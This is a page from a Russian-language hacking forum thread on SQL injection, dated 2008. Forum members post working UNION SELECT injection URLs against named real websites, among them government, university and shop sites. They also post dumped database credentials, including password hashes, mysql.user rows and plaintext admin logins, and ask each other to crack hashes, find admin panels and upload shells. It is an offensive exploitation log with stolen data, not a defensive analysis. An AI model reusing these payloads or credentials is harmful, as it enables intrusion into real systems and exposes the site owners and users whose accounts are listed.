SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 334 of 798
  1. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Купил сегодня плеер - iRiver S10.
    iriver.com.ua
    Яндекс тІЦ 230

    Database Version: 4.1.22-log
    Database name: itkom
    User name: dbuser@localhost
     
    #6661 Dimi4, 5 Oct 2008
    3 people like this.
  2. Мистерео

    Мистерео Elder - Старейшина

    Joined:
    7 Aug 2006
    Messages:
    33
    Likes Received:
    32
    Reputations:
    1
    Code:
    http://www.iriver.com.ua/publication.php?newsid=1486+UNION+SELECT+1,2,3,4,5 /*
    Хекнул = )
    Code:
    http://www.iriver.com.ua/publication.php?newsid=1486+UNION+SELECT+1,concat_ws(0x3a,login,password),3,4,5+from+users/*
    Mary:c4ca4238a0b923820dcc509a6f75849b:1
    Mary_admin:c81e728d9d4c2f636f067f89cc14862c:2
    adm_price:063b610d39cfab2ec713e97510041189

    = )

    Админку не нашел кто найдет плиз скиньте в личку
     
    #6662 Мистерео, 5 Oct 2008
    3 people like this.
  3. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Dimi4
    users
    vse 4to polu4ilos dostat.. load_file pohody ne pashet (

    Dobby007

    1. menshe slov, pishi 4etko problemy.

    2. .php?article=-1+union+select+1,2,unhex(hex(column_name)), 4,5+from+information_schema.columns+where+table_name=0x75736572+limit+1,1--

    probui etot variant.

    3. eta tema ne dla voprosov )
     
    #6663 sabe, 5 Oct 2008
    Last edited: 5 Oct 2008
    1 person likes this.
  4. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    .gov


    Code:
    http://www.bulacan.gov.ph/newsarticle.php?id=-477+union+select+1,2,3,4,version(),6/*
    5.0.45-community-nt
    root:*46ADD2D575279110D198F0EBABA2CB760429D593:localhost
    bulacan-gov:*F1E619E8130B161C9F41F8B876FB4F54AFBC0CBD:localhostt

    Code:
    http://www.sisonlgu.gov.ph/announce.php?id=-5+union+select+1,table_name,3,4+from+information_schema.tables/*
    5.0.45-community-nt


    Code:
    http://www.mida.gov.my/en/news/view_news.php?id=-2776+union+select+version(),2,3,4/*
    5.0.41-community-nt
    root:*1BD747346D20A5AD9799A925D0E4FFFB43EF8378:localhost
    midaweb:*1BD747346D20A5AD9799A925D0E4FFFB43EF8378:localhost



    Code:
    http://www.eastgrinstead.gov.uk/news/article.php?id=-250+union+select+version()/*
    4.0.22-nt-log
     
    #6664 Iceangel_, 6 Oct 2008
    1 person likes this.
  5. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    edu ,хз баян ли.
    Username: chipsadmin@localhost
    Version: 5.0.51a-3ubuntu5.1-log
    Dbname: silverchips

    [mychips]
    [email protected]:bigfishy
    ================================================================
    Username: theDirectory@localhost
    Version: 5.0.51b
    Dbname: directory

    admin:dir920
    msteele:fatcow11

    хз куда их тулить((
    кто найдет - в личку плз..
     
    #6665 $n@ke, 6 Oct 2008
    5 people like this.
  6. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Shops:
     
    #6666 mff, 6 Oct 2008
    1 person likes this.
  7. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Shops + email base

    Shops:
    Argentina Lattin Shop (12296 members)
    :)
     
    #6667 mff, 6 Oct 2008
    1 person likes this.
  8. nonamez

    nonamez Elder - Старейшина

    Joined:
    22 Jul 2007
    Messages:
    565
    Likes Received:
    265
    Reputations:
    17
    Ну я тока начинаю в этой теме светится)))Но вот первые скули,правда пока не раскрученые))))

    Точно знаю что можно дойти до конфига базы и затем лазить через пхпмайадмин.

    Что-то на подобии минисоциальной сети только в литве...Уязвим почти каждый параметр id,но этого я не крутил....
     
    #6668 nonamez, 6 Oct 2008
    Last edited: 6 Oct 2008
  9. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Erowid.org hacked by VITAL - Самый популярный сайт о накротиках pr 6
    5.0.45-log
    вот блог, нужно найти в базе таблу, база охретительно-большая..)
    у кого чтото получится стучите в аську )

    Svali.ru - pr 6
    лог. вывод - 4 ветка.

    nonamez
    до конфига базы врятле доберешся... а вот юзеров можно поиметь..
    да сайт действительно уязвим.. но чтото странное там творится, сейчас нету времени смотреть детальнее..
     
    #6669 sabe, 6 Oct 2008
    Last edited: 7 Oct 2008
    2 people like this.
  10. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Boston University
    Code:
    http://www.bu.edu/phpbin/news/releases/display.php?id=-1552+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,unhex(hex(version()))/*
    PR=8!
    там где-то даже админка есть...
     
    #6670 Iceangel_, 24 Oct 2008
    2 people like this.
  11. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    [​IMG] freeware32.ru (89.111.184.177)
    Google PR 4 / 10
    Яндекс тІЦ 210​
    Database Version: 5.0.42
    Database name: freeware32
    User name: makarich@localhost
    +
    /etc/passwd:
    Robots.txt:
    Раскрытые пути:
     
    #6671 Dimi4, 24 Oct 2008
    Last edited: 24 Oct 2008
    3 people like this.
  12. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Dimi4
    таблы..
    рут..
    таблицы с паролями..
    makarich:$H$93X6wK/iq5UvwhwhZXbbnU.RT7gb0W.

    жаль так бы шелл залили..
    пассы юзеров.. хешшированые.
    админ.. кто разшефрует будет хорошо )

    а вот и freeware32.ru/admin
     
    #6672 sabe, 24 Oct 2008
    Last edited: 24 Oct 2008
    1 person likes this.
  13. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    мда, там вообще не поймешь что:

    Макаев Юрий Александрович:1$MgT.b/LSoOE

    и админка все-равно защищена .htaccess
     
    #6673 Pashkela, 25 Oct 2008
    1 person likes this.
  14. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    http://www.lzs.lt/?lt=1185259934&article=1+union+select+1
    user() - [email protected]
    database() - lzs
    version() - 4.0.18
    дальше нет желания ибо геморно.
     
    #6674 warlok, 25 Oct 2008
  15. keng

    keng Member

    Joined:
    9 Apr 2008
    Messages:
    60
    Likes Received:
    43
    Reputations:
    8
    http://www.lzs.lt/?lt=1185259934&article=1+union+select+concat_ws(0x20,name,pass)+from+users+where+id=300/*

    Бруть наздоровье.
     
    #6675 keng, 25 Oct 2008
  16. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    продолжаем серию .edu ...
    Sioux Falls Seminary(сам не знаю что это значит... =) )
    Code:
    http://www.sfseminary.edu/about/index.php?id=9&entryid=-111+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,version(),15/*
    PR=6
    4.1.25-Debian_mt1

    -----------------------------------------------------------------

    Northwest University
    Code:
    http://www.northwestu.edu/calendar/view.php?id=-3151+union+select+1,2,3,concat(user,0x3a,password,0x3a,host,0x3a,file_priv),5,6,7,8,9,10,11,12+from+mysql.user/*
    PR=6
    5.0.45-community-nt
    mysql.user
    root:*DBC28C7CE578D4A87947FC392EFE7B9A95D2E88B:localhost
    devin.ellis:*001FD03A448FDAA34AE4EEC54A6269A02931DF74:chilen0:%
    dennis.williams:*585198B8A7F5B514497FDE9FC1243891A80020C8:ba1l3y00:%
    odbc:*DBC28C7CE578D4A87947FC392EFE7B9A95D2E88B:%
    eagle:*B15F472DD2E0C69902402108AA80A721C1EF107F:localhost
    eagle:*B15F472DD2E0C69902402108AA80A721C1EF107F:%
    Путь: W:\northwestu\calendar\view.php
    -----------------------------------------------------------------

    Х.З что...
    Code:
    http://www.art.uiowa.edu/directory.php?id=-44+union+select+1,2,table_name,4,5,6,7,8,9,10,11+from+information_schema.tables+limit+18,1/*
    PR=6
    5.0.26-log
    -----------------------------------------------------------------

    Тоже х.з что...
    Code:
    https://cat.ipac.caltech.edu/sscconf07/view_abstract.php?id=-85+union+select+1,2,version(),4/*
    5.0.27-standard
     
    #6676 Iceangel_, 25 Oct 2008
    Last edited: 25 Oct 2008
    3 people like this.
  17. luz3r

    luz3r Banned

    Joined:
    23 Feb 2008
    Messages:
    119
    Likes Received:
    250
    Reputations:
    -11
    5 поле
     
    #6677 luz3r, 25 Oct 2008
    3 people like this.
  18. Robox

    Robox New Member

    Joined:
    26 Dec 2007
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    версия 5.0.45-COMMUNITY
    админки не нашёл(
     
    #6678 Robox, 26 Oct 2008
    1 person likes this.
  19. Robox

    Robox New Member

    Joined:
    26 Dec 2007
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    инклудидтся, только админка прикрыта(
     
    #6679 Robox, 26 Oct 2008
    1 person likes this.
  20. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    А не подскажите...
    Можно ли провести тут инъекцию? И в какую сторону копать?
    Code:
    _http://la2.raid.ru/index.php?act=clan_info&id=1
     
    #6680 Byrger, 26 Oct 2008
(You must log in or sign up to post here.)
Page 334 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.